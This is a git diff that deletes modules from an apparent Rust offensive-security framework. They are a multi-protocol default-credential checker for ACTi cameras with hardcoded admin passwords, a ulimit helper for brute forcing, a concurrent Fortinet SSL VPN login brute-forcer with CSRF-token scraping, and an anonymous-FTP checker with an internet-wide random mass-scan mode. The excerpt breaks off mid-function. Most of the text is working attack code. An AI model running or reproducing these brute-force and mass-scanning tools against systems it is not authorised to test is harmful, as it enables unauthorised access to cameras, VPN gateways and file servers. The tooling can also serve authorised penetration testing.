diff --git a/src/modules/creds/camera/acti/acti_camera_default.rs b/src/modules/creds/camera/acti/acti_camera_default.rs deleted file mode 100644 index a3522b6..0000000 --- a/src/modules/creds/camera/acti/acti_camera_default.rs +++ /dev/null @@ -1,273 +0,0 @@ -use anyhow::{Context, Result}; -use async_ftp::FtpStream; -use colored::*; -use reqwest::Client; -use ssh2::Session; -use telnet::{Telnet, Event}; -use std::{net::TcpStream, time::Duration}; -use tokio::{join, task}; - -const DEFAULT_TIMEOUT_SECS: u64 = 10; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan()); - println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Supported Acti services -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub enum ServiceType { - Ftp, - Ssh, - Telnet, - Http, -} - -impl ServiceType { - fn as_str(&self) -> &'static str { - match self { - ServiceType::Ftp => "FTP", - ServiceType::Ssh => "SSH", - ServiceType::Telnet => "Telnet", - ServiceType::Http => "HTTP", - } - } -} - -/// Common config -#[derive(Clone)] -pub struct Config { - pub target: String, - pub port: u16, - pub credentials: Vec<(&'static str, &'static str)>, - pub stop_on_success: bool, - pub verbosity: bool, -} - -/// Helper to normalize IPv4, IPv6 (with any amount of brackets) -fn normalize_target(target: &str, port: u16) -> String { - let cleaned = target.trim_matches(|c| c == '[' || c == ']'); - if cleaned.contains(':') && !cleaned.contains('.') { - format!("[{}]:{}", cleaned, port) // IPv6 - } else { - format!("{}:{}", cleaned, port) // IPv4 or hostname - } -} - -/// FTP check (async) -pub async fn check_ftp(config: &Config) -> Result> { - println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan()); - - for (username, password) in &config.credentials { - if config.verbosity { - println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed()); - } - - let address = normalize_target(&config.target, config.port); - match FtpStream::connect(address).await { - Ok(mut ftp) => { - if ftp.login(username, password).await.is_ok() { - println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold()); - let _ = ftp.quit().await; - let result = Some((ServiceType::Ftp, username.to_string(), password.to_string())); - // Respect stop_on_success: if true, stop after first valid credential - if config.stop_on_success { - return Ok(result); - } - // If false, continue checking but still return first found (for consistency) - return Ok(result); - } - let _ = ftp.quit().await; - } - Err(_) => continue, - } - } - - println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow()); - Ok(None) -} - -/// SSH check (blocking, so we use spawn_blocking) -pub fn check_ssh_blocking(config: &Config) -> Result> { - println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan()); - - for (username, password) in &config.credentials { - if config.verbosity { - println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed()); - } - - let address = normalize_target(&config.target, config.port); - if let Ok(stream) = TcpStream::connect(address) { - let mut session = Session::new().context("Failed to create SSH session")?; - session.set_tcp_stream(stream); - session.handshake().context("SSH handshake failed")?; - - if session.userauth_password(username, password).is_ok() && session.authenticated() { - println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold()); - return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string()))); - } - } - } - - println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow()); - Ok(None) -} - -/// Telnet check (blocking) -pub fn check_telnet_blocking(config: &Config) -> Result> { - println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan()); - - for (username, password) in &config.credentials { - if config.verbosity { - println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed()); - } - - let address = normalize_target(&config.target, config.port); - let parts: Vec<&str> = address.rsplitn(2, ':').collect(); - if parts.len() != 2 { - continue; - } - let host = parts[1]; - let port: u16 = parts[0].parse().unwrap_or(23); - - if let Ok(mut telnet) = Telnet::connect((host, port), 500) { - let _ = telnet.write(format!("{}\r\n", username).as_bytes()); - let _ = telnet.write(format!("{}\r\n", password).as_bytes()); - - // Give device time to respond - std::thread::sleep(Duration::from_millis(500)); - - if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) { - let response = String::from_utf8_lossy(&buffer); - if !response.contains("incorrect") && !response.contains("failed") { - println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold()); - return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string()))); - } - } - } - } - - println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow()); - Ok(None) -} - -/// HTTP Web Login check (async) -pub async fn check_http_form(config: &Config) -> Result> { - println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan()); - - let client = Client::builder() - .danger_accept_invalid_certs(true) - .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) - .build()?; - - let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port); - - for (username, password) in &config.credentials { - if config.verbosity { - println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed()); - } - - let data = [ - ("LOGIN_ACCOUNT", *username), - ("LOGIN_PASSWORD", *password), - ("LANGUAGE", "0"), - ("btnSubmit", "Login"), - ]; - - // Manual form construction - let mut body = String::new(); - for (key, val) in &data { - if !body.is_empty() { body.push('&'); } - body.push_str(&format!("{}={}", key, urlencoding::encode(val))); - } - - let res = client - .post(&url) - .header("Content-Type", "application/x-www-form-urlencoded") - .body(body) - .send() - .await - .context("[!] Failed to send HTTP form request")?; - - let body = res.text().await.unwrap_or_default(); - - if !body.contains(">Password<") { - println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold()); - return Ok(Some((ServiceType::Http, username.to_string(), password.to_string()))); - } - } - - println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow()); - Ok(None) -} - -/// Entrypoint for module - parallel checks -pub async fn run(target: &str) -> Result<()> { - display_banner(); - println!("{}", format!("[*] Target: {}", target).cyan()); - println!(); - - let creds = vec![ - ("admin", "12345"), - ("admin", "123456"), - ("Admin", "12345"), - ("Admin", "123456"), - ]; - - let base_config = Config { - target: target.to_string(), - port: 0, - credentials: creds, - stop_on_success: true, - verbosity: true, - }; - - let ftp_conf = Config { port: 21, ..base_config.clone() }; - let ssh_conf = Config { port: 22, ..base_config.clone() }; - let telnet_conf = Config { port: 23, ..base_config.clone() }; - let http_conf = Config { port: 80, ..base_config.clone() }; - - let (ftp_res, ssh_res, telnet_res, http_res) = join!( - check_ftp(&ftp_conf), - async { - task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await? - }, - async { - task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await? - }, - check_http_form(&http_conf), - ); - - // Collect all successful results - let mut found_credentials = Vec::new(); - - if let Ok(Some((service, user, pass))) = ftp_res { - found_credentials.push((service, user, pass)); - } - if let Ok(Some((service, user, pass))) = ssh_res { - found_credentials.push((service, user, pass)); - } - if let Ok(Some((service, user, pass))) = telnet_res { - found_credentials.push((service, user, pass)); - } - if let Ok(Some((service, user, pass))) = http_res { - found_credentials.push((service, user, pass)); - } - - // Print summary - if !found_credentials.is_empty() { - println!(); - println!("{}", "=== Summary ===".bold()); - for (service, user, pass) in &found_credentials { - println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green()); - } - } else { - println!(); - println!("{}", "[-] No valid credentials found on any service.".yellow()); - } - - Ok(()) -} diff --git a/src/modules/creds/camera/acti/mod.rs b/src/modules/creds/camera/acti/mod.rs deleted file mode 100644 index 2ba4095..0000000 --- a/src/modules/creds/camera/acti/mod.rs +++ /dev/null @@ -1 +0,0 @@ -pub mod acti_camera_default; diff --git a/src/modules/creds/camera/mod.rs b/src/modules/creds/camera/mod.rs deleted file mode 100644 index d995d44..0000000 --- a/src/modules/creds/camera/mod.rs +++ /dev/null @@ -1 +0,0 @@ -pub mod acti; diff --git a/src/modules/creds/generic/enablebruteforce.rs b/src/modules/creds/generic/enablebruteforce.rs deleted file mode 100644 index f5bda0c..0000000 --- a/src/modules/creds/generic/enablebruteforce.rs +++ /dev/null @@ -1,140 +0,0 @@ -use anyhow::{Result, anyhow}; -use colored::*; -use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE}; - -const TARGET_FILE_LIMIT: u64 = 65535; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ System Ulimit Configuration Utility ║".cyan()); - println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Module entry point for raising ulimit -pub async fn run(target: &str) -> Result<()> { - // Target parameter is part of standard module interface - // For ulimit operations, target is informational only - if !target.is_empty() { - println!("{}", format!("[*] Target context: {}", target).dimmed()); - } - raise_ulimit().await -} - -/// Get current resource limits -fn get_current_limits() -> Result<(u64, u64)> { - let mut rlim = rlimit { - rlim_cur: 0, - rlim_max: 0, - }; - - let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) }; - if result != 0 { - return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error())); - } - - Ok((rlim.rlim_cur, rlim.rlim_max)) -} - -/// Set resource limits directly in the current process -fn set_file_limit(soft: u64, hard: u64) -> Result<()> { - let rlim = rlimit { - rlim_cur: soft, - rlim_max: hard, - }; - - let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) }; - if result != 0 { - return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error())); - } - - Ok(()) -} - -/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process) -async fn raise_ulimit() -> Result<()> { - display_banner(); - - // Get current limits - let (current_soft, current_hard) = match get_current_limits() { - Ok(limits) => limits, - Err(e) => { - println!("{}", format!("[-] Failed to get current limits: {}", e).red()); - (0, 0) - } - }; - - println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan()); - - if current_soft >= TARGET_FILE_LIMIT { - println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold()); - return Ok(()); - } - - println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan()); - - // Determine the target limits - let target_hard = if current_hard >= TARGET_FILE_LIMIT { - current_hard - } else { - TARGET_FILE_LIMIT - }; - - let target_soft = TARGET_FILE_LIMIT.min(target_hard); - - // Try to set the limit using setrlimit syscall (works for current process) - match set_file_limit(target_soft, target_hard) { - Ok(()) => { - println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold()); - } - Err(e) => { - // If we can't raise hard limit, try just raising soft to current hard - println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow()); - - if current_hard > current_soft { - println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan()); - match set_file_limit(current_hard, current_hard) { - Ok(()) => { - println!("{}", format!("[+] Raised soft limit to {}", current_hard).green()); - } - Err(e2) => { - println!("{}", format!("[-] Could not raise soft limit: {}", e2).red()); - println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow()); - } - } - } else { - println!("{}", "[!] Hard limit is the same as soft limit.".yellow()); - println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow()); - } - } - } - - // Verify the new limits - match get_current_limits() { - Ok((new_soft, new_hard)) => { - println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan()); - if new_soft >= TARGET_FILE_LIMIT { - println!("{}", "[+] File descriptor limit successfully raised!".green().bold()); - } else if new_soft > current_soft { - println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green()); - } else { - println!("{}", "[-] Limit unchanged.".yellow()); - } - } - Err(e) => { - println!("{}", format!("[-] Could not verify new limits: {}", e).yellow()); - } - } - - // Also show shell instructions for reference - println!(); - println!("{}", "=== Shell Instructions ===".bold()); - println!("{}", "To raise limits in your shell before running rustsploit:".dimmed()); - println!("{}", " ulimit -n 65535".white()); - println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed()); - println!("{}", " * soft nofile 65535".white()); - println!("{}", " * hard nofile 65535".white()); - - Ok(()) -} diff --git a/src/modules/creds/generic/fortinet_bruteforce.rs b/src/modules/creds/generic/fortinet_bruteforce.rs deleted file mode 100644 index aeff37c..0000000 --- a/src/modules/creds/generic/fortinet_bruteforce.rs +++ /dev/null @@ -1,417 +0,0 @@ -use anyhow::{anyhow, Result}; -use colored::*; -use futures::stream::{FuturesUnordered, StreamExt}; -use reqwest::{ClientBuilder, redirect::Policy}; -use std::{ - fs::File, - io::Write, - sync::Arc, - sync::atomic::{AtomicBool, Ordering}, - time::Duration, -}; -use tokio::{ - sync::{Mutex, Semaphore}, - time::{sleep, timeout}, -}; -use crate::utils::{ - prompt_yes_no, prompt_default, prompt_int_range, - load_lines, prompt_existing_file, normalize_target, - get_filename_in_current_dir, prompt_port, -}; -use regex::Regex; -use once_cell::sync::Lazy; -use crate::modules::creds::utils::BruteforceStats; - -const PROGRESS_INTERVAL_SECS: u64 = 2; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan()); - println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - println!("{}", format!("[*] Target: {}", target).cyan()); - - let port: u16 = prompt_port("Fortinet VPN Port", 443)?; - - let usernames_file_path = prompt_existing_file("Username wordlist path")?; - let passwords_file_path = prompt_existing_file("Password wordlist path")?; - - let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize; - let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64; - - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - let _save_results = prompt_yes_no("Save results to file?", true)?; - let save_path = if _save_results { - Some(prompt_default("Output file name", "fortinet_results.txt")?) - } else { - None - }; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?; - - // Optional prompts - // We don't have prompt_optional in shared utils yet? - // Yes we do, implicitly via prompt_default("") or similar, check utils.rs - // Actually utils has prompt_default. If user enters empty, it returns default. - // If we want optional, we might need to rely on prompt_default returning empty string if default is empty? - // Let's implement a quick local helper or use prompt_default("", "") if that works. - // The previous code had `prompt_optional`. - // I will use prompt_default with empty default and check for empty string. - - let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?; - let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) }; - - let realm_str = prompt_default("Authentication realm (optional)", "")?; - let realm = if realm_str.is_empty() { None } else { Some(realm_str) }; - - let base_url = build_fortinet_url(target, port)?; - - let found_credentials = Arc::new(Mutex::new(Vec::new())); - let stop_signal = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - - println!("\n[*] Starting brute-force on {}", base_url); - println!("[*] Timeout: {} seconds", timeout_secs); - - let users = load_lines(&usernames_file_path)?; - if users.is_empty() { - println!("[!] Username wordlist is empty. Exiting."); - return Ok(()); - } - println!("[*] Loaded {} usernames", users.len()); - - let passwords = load_lines(&passwords_file_path)?; - if passwords.is_empty() { - println!("[!] Password wordlist is empty. Exiting."); - return Ok(()); - } - println!("[*] Loaded {} passwords", passwords.len()); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let timeout_duration = Duration::from_secs(timeout_secs); - - println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) }); - println!(); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop_signal.clone(); - let progress_handle = tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - let mut tasks = FuturesUnordered::new(); - - // Work generation - if combo_mode { - for user in &users { - for pass in &passwords { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; } - - spawn_fortinet_task( - &mut tasks, &semaphore, - user.clone(), pass.clone(), - base_url.clone(), realm.clone(), trusted_cert.clone(), - found_credentials.clone(), stop_signal.clone(), stats.clone(), - verbose, stop_on_success, timeout_duration - ).await; - } - if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; } - } - } else { - let max_len = std::cmp::max(users.len(), passwords.len()); - for i in 0..max_len { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; } - let user = &users[i % users.len()]; - let pass = &passwords[i % passwords.len()]; - - spawn_fortinet_task( - &mut tasks, &semaphore, - user.clone(), pass.clone(), - base_url.clone(), realm.clone(), trusted_cert.clone(), - found_credentials.clone(), stop_signal.clone(), stats.clone(), - verbose, stop_on_success, timeout_duration - ).await; - } - } - - // Wait for tasks - while let Some(res) = tasks.next().await { - if let Err(e) = res { - stats.record_error(format!("Task panic: {}", e)).await; - } - } - - // Stop progress reporter - stop_signal.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Print final statistics - stats.print_final().await; - - let creds = found_credentials.lock().await; - if creds.is_empty() { - println!("{}", "[-] No credentials found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - for (url, user, pass) in creds.iter() { - println!(" {} -> {}:{}", url, user, pass); - } - - if let Some(path_str) = save_path { - let filename = get_filename_in_current_dir(&path_str); - if let Ok(mut file) = File::create(&filename) { - for (url, user, pass) in creds.iter() { - let _ = writeln!(file, "{} -> {}:{}", url, user, pass); - } - println!("[+] Results saved to '{}'", filename.display()); - } - } - } - - Ok(()) -} - -async fn spawn_fortinet_task( - tasks: &mut FuturesUnordered>, - semaphore: &Arc, - user: String, - pass: String, - base_url: String, - realm: Option, - trusted_cert: Option, - found: Arc>>, - stop_signal: Arc, - stats: Arc, - verbose: bool, - stop_on_success: bool, - timeout: Duration -) { - let permit = match semaphore.clone().acquire_owned().await { - Ok(p) => p, - Err(_) => return, // Semaphore closed, stop processing - }; - - tasks.push(tokio::spawn(async move { - let _permit = permit; - if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; } - - match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold()); - found.lock().await.push((base_url.clone(), user.clone(), pass.clone())); - stats.record_success(); - if stop_on_success { - stop_signal.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats.record_failure(); - if verbose { - println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed()); - } - } - Err(e) => { - stats.record_error(e.to_string()).await; - if verbose { - println!("\r{}", format!("[!] {}: error: {}", base_url, e).red()); - } - } - } - sleep(Duration::from_millis(100)).await; - })); -} - -async fn try_fortinet_login( - base_url: &str, - username: &str, - password: &str, - realm: &Option, - trusted_cert: &Option, - timeout_duration: Duration -) -> Result { - let mut client_builder = ClientBuilder::new() - .cookie_store(true) - .redirect(Policy::none()) - .timeout(timeout_duration); - - if trusted_cert.is_some() { - client_builder = client_builder - .danger_accept_invalid_certs(false) - .danger_accept_invalid_hostnames(false); - } else { - client_builder = client_builder - .danger_accept_invalid_certs(true) - .danger_accept_invalid_hostnames(true); - } - - let client = client_builder - .build() - .map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?; - - // Get login page - let login_page_url = format!("{}/remote/login", base_url); - - let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await { - Ok(Ok(resp)) => resp, - Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)), - Err(_) => return Err(anyhow!("Timeout getting login page")), - }; - - let login_page_body = match timeout(timeout_duration, login_page_response.text()).await { - Ok(Ok(body)) => body, - Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)), - Err(_) => return Err(anyhow!("Timeout reading login page")), - }; - - let csrf_token = extract_csrf_token(&login_page_body); - - // Prepare login form data - let mut form_data = std::collections::HashMap::new(); - form_data.insert("username", username.to_string()); - form_data.insert("password", password.to_string()); - form_data.insert("ajax", "1".to_string()); - - if let Some(r) = realm { - if !r.is_empty() { - form_data.insert("realm", r.clone()); - } - } - - if let Some(token) = csrf_token { - form_data.insert("magic", token.clone()); - } - - // Send login request - let login_url = format!("{}/remote/logincheck", base_url); - - // Build form body - let mut form_pairs: Vec = Vec::new(); - for (key, val) in &form_data { - form_pairs.push(format!("{}={}", key, urlencoding::encode(val))); - } - let body = form_pairs.join("&"); - - let login_response = match timeout( - timeout_duration, - client - .post(&login_url) - .header("Content-Type", "application/x-www-form-urlencoded") - .body(body) - .header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36") - .header("Referer", &login_page_url) - .send() - ).await { - Ok(Ok(resp)) => resp, - Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)), - Err(_) => return Err(anyhow!("Timeout during login request")), - }; - - let status = login_response.status(); - - let location_header = login_response.headers().get("Location") - .and_then(|h| h.to_str().ok()) - .map(|s| s.to_string()); - - let cookies: Vec = login_response.cookies() - .map(|c| c.name().to_string()) - .collect(); - - let has_auth_cookie = cookies.iter().any(|name| { - let lower = name.to_lowercase(); - lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet") - }); - - let response_body = match timeout(timeout_duration, login_response.text()).await { - Ok(Ok(body)) => body, - Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)), - Err(_) => return Err(anyhow!("Timeout reading login response")), - }; - - // Check for explicit success indicators - let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"]; - if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) { - return Ok(true); - } - - // Check for explicit failure indicators - let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""]; - if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) { - return Ok(false); - } - - // Check status code and authentication cookies - if status.is_success() && has_auth_cookie { - return Ok(true); - } - - // Check redirect location for success - if status.as_u16() == 302 { - if let Some(loc_str) = location_header { - let success_redirects = ["/remote/index", "portal", "index"]; - if success_redirects.iter().any(|&path| loc_str.contains(path)) { - return Ok(true); - } - } - } - - Ok(false) -} - -/// Extracts CSRF token from HTML response using pre-compiled regex patterns -fn extract_csrf_token(html: &str) -> Option { - static CSRF_PATTERNS: Lazy> = Lazy::new(|| { - vec![ - Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"), - Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"), - Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"), - Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"), - ] - }); - - for pattern in CSRF_PATTERNS.iter() { - if let Some(captures) = pattern.captures(html) { - if let Some(token) = captures.get(1) { - return Some(token.as_str().to_string()); - } - } - } - - None -} - -/// Builds Fortinet VPN URL with proper IPv6 handling -fn build_fortinet_url(target: &str, port: u16) -> Result { - let normalized_host = normalize_target(target)?; - - // Check if port is already present - let has_port = if normalized_host.starts_with('[') { - // IPv6 case: check if there's a colon after the closing bracket - if let Some(bracket_pos) = normalized_host.rfind(']') { - normalized_host[bracket_pos..].contains(':') - } else { - false - } - } else { - normalized_host.contains(':') - }; - - let url = if has_port { - format!("https://{}", normalized_host) - } else { - format!("https://{}:{}", normalized_host, port) - }; - - Ok(url) -} diff --git a/src/modules/creds/generic/ftp_anonymous.rs b/src/modules/creds/generic/ftp_anonymous.rs deleted file mode 100644 index 1d92268..0000000 --- a/src/modules/creds/generic/ftp_anonymous.rs +++ /dev/null @@ -1,345 +0,0 @@ -use anyhow::{anyhow, Result, Context}; -use colored::*; -use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}; -use suppaftp::async_native_tls::TlsConnector; -use tokio::time::{timeout, Duration}; -use std::sync::Arc; -use std::sync::atomic::{AtomicUsize, Ordering}; -use tokio::sync::Semaphore; -use tokio::process::Command; -use tokio::fs::OpenOptions; -use tokio::io::AsyncWriteExt; -use std::net::{IpAddr, Ipv4Addr, SocketAddr}; -use rand::Rng; -use tokio::net::TcpStream; // For fast connect check - -use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no}; - -const DEFAULT_TIMEOUT_SECS: u64 = 5; -const CONNECT_TIMEOUT_MS: u64 = 3000; -const STATE_FILE: &str = "ftp_hose_state.log"; - -// Hardcoded exclusions -const EXCLUDED_RANGES: &[&str] = &[ - "10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", - "224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", - "100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", - "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13", - "104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", - "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", - "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17", - "1.1.1.1/32", "1.0.0.1/32", - "8.8.8.8/32", "8.8.4.4/32" -]; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ FTP Anonymous Login Checker ║".cyan()); - println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Format IPv4 or IPv6 addresses with port -fn format_addr(target: &str, port: u16) -> String { - if target.starts_with('[') && target.contains("]:") { - target.to_string() - } else if target.matches(':').count() == 1 && !target.contains('[') { - target.to_string() - } else { - let clean = if target.starts_with('[') && target.ends_with(']') { - &target[1..target.len() - 1] - } else { - target - }; - if clean.contains(':') { - format!("[{}]:{}", clean, port) - } else { - format!("{}:{}", clean, port) - } - } -} - -/// Anonymous FTP/FTPS login test with IPv6 support -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - // Check for Mass Scan Mode conditions - let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file(); - - if is_mass_scan { - println!("{}", format!("[*] Target: {}", target).cyan()); - println!("{}", "[*] Mode: Mass Scan / Hose".yellow()); - return run_mass_scan(target).await; - } - - // --- Standard Single Target Logic --- - let addr = format_addr(target, 21); - let domain = target - .trim_start_matches('[') - .split(&[']', ':'][..]) - .next() - .unwrap_or(target); - - println!("{}", format!("[*] Target: {}", target).cyan()); - println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan()); - println!(); - - // 1️⃣ Try plain FTP first - match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await { - Ok(Ok(mut ftp)) => { - let result = ftp.login("anonymous", "anonymous").await; - if result.is_ok() { - println!("{}", "[+] Anonymous login successful (FTP)".green().bold()); - // Optional: Check if we can run command? - // For single target, we usually just report login success in legacy mode. - // But let's be consistent and try listing. - match ftp.list(None).await { - Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()), - Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()), - } - let _ = ftp.quit().await; - return Ok(()); - } else if let Err(e) = result { - if e.to_string().contains("530") { - println!("{}", "[-] Anonymous login rejected (FTP)".yellow()); - return Ok(()); - } else if e.to_string().contains("550 SSL") { - println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan()); - } else { - return Err(anyhow!("FTP error: {}", e)); - } - } - } - Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()), - Err(_) => println!("{}", "[-] FTP connection timed out".yellow()), - } - - // 2️⃣ Fallback to FTPS - println!("{}", "[*] Attempting FTPS connection...".cyan()); - - let mut ftps = AsyncNativeTlsFtpStream::connect(&addr) - .await - .map_err(|e| anyhow!("FTPS connect failed: {}", e))?; - - let connector = AsyncNativeTlsConnector::from( - TlsConnector::new() - .danger_accept_invalid_certs(true) - .danger_accept_invalid_hostnames(true), - ); - - ftps = ftps - .into_secure(connector, domain) - .await - .map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?; - - match ftps.login("anonymous", "anonymous").await { - Ok(_) => { - println!("{}", "[+] Anonymous login successful (FTPS)".green().bold()); - match ftps.list(None).await { - Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()), - Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()), - } - let _ = ftps.quit().await; - } - Err(e) if e.to_string().contains("530") => { - println!("{}", "[-] Anonymous login rejected (FTPS)".yellow()); - } - Err(e) => return Err(anyhow!("FTPS login error: {}", e)), - } - - Ok(()) -} - -async fn run_mass_scan(target: &str) -> Result<()> { - // Prep - let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize; - let _verbose = prompt_yes_no("Verbose mode?", false)?; - let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?; - - // Parse exclusions - let mut exclusion_subnets = Vec::new(); - for cidr in EXCLUDED_RANGES { - if let Ok(net) = cidr.parse::() { - exclusion_subnets.push(net); - } - } - let exclusions = Arc::new(exclusion_subnets); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - - // Stats - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - println!( - 